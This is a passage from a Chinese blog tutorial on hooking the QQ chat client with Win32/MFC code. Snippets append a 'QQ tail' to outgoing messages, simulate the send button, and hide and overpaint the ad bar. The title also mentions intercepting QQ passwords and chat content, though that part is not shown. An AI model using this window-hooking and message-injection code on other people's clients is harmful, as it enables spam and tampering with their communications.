   由于我们是在用户做了发送操作(点“发送”按钮、按快捷键“Ctrl Enter”、按快捷键“Alt S”)之后才进行我们的处理,所以简单地将QQ尾巴信息加到发送框里是发送不出去的,所以我们必须在增加QQ尾巴信息完成后再向QQ聊天窗口发送一个“发送按钮”被点击的消息,如下代码所示:

 if ( !csQQTail.IsEmpty() )
  {
    ::PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow,
      WM_COMMAND,
      (WPARAM)CONTROL_ID_CHAT_BUTTON_SEND,
      LPARAM(NULL) );
  }

  看看程序效果图:

  输入聊天文字

  发送聊天信息后自动增加了QQ尾巴

  去掉QQ广告栏

  用EnumChildWindows() API函数查找到广告栏子窗口句柄,然后隐藏它,如下代码所示:

[cpp] view plain copy print ?
  1. if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) )  
  2.     {  
  3.       // 类名符合吗   
  4.       if ( strstr_hw ( szClassName, _T("static") ) )  
  5.       {  
  6.         CRect rc, rcAD1(248,22,490,62);  
  7.         ::GetWindowRect ( hWnd, &rc );  
  8.         CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc );  
  9.         if ( rcAD1.EqualRect(&rc) ||  
  10.           ( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||  
  11.           ( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )  
  12.           )  
  13.         {  
  14.           pFindQQChatInfoPara->m_hWndAD1 = hWnd;  
  15.           ::ShowWindow ( hWnd, SW_HIDE );  
  16.         }  
  17.       }  
  18.     }  
if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) )     {       // 类名符合吗       if ( strstr_hw ( szClassName, _T("static") ) )       {         CRect rc, rcAD1(248,22,490,62);         ::GetWindowRect ( hWnd, &rc );         CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc );         if ( rcAD1.EqualRect(&rc) ||           ( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||           ( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )           )         {           pFindQQChatInfoPara->m_hWndAD1 = hWnd;           ::ShowWindow ( hWnd, SW_HIDE );         }       }     }

    接着将我们需要显示的文字内容写上去,可以截获消息WM_PAINT和WM_ERASEBKGND,用设备上下文句柄显示我们的内容,如下代码所示:

 

[cpp] view plain copy print ?
  1. if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )  
  2.     {  
  3.       CRect rcAD1(248,22,490,62);  
  4.       SetBkMode ( (HDC) wParam, TRANSPARENT );  
  5.       if ( uMsg == WM_ERASEBKGND )  
  6.       {  
  7.         HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") );  
  8.         CBrush brsBkGnd;  
  9.         brsBkGnd.CreateSolidBrush( RGB(114,201,252) );  
  10.         FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() );  
  11.       }  
  12.     
  13.       if ( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )  
  14.       {  
  15.         CString csAD1 = _T("这是广告位置,已经被屏蔽掉了。rn ——谢红伟");  
  16.         ::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );  
  17.       }  
  18.     }   
if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )     {       CRect rcAD1(248,22,490,62);       SetBkMode ( (HDC) wParam, TRANSPARENT );       if ( uMsg == WM_ERASEBKGND )       {         HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") );         CBrush brsBkGnd;         brsBkGnd.CreateSolidBrush( RGB(114,201,252) );         FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() );       }          if ( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )       {         CString csAD1 = _T("这是广告位置,已经被屏蔽掉了。rn ——谢红伟");         ::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );       }     }   执行效果如下图:

  有广告的QQ聊天窗口

  去掉广告栏之后的聊天窗口

你可能感兴趣的:(如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴)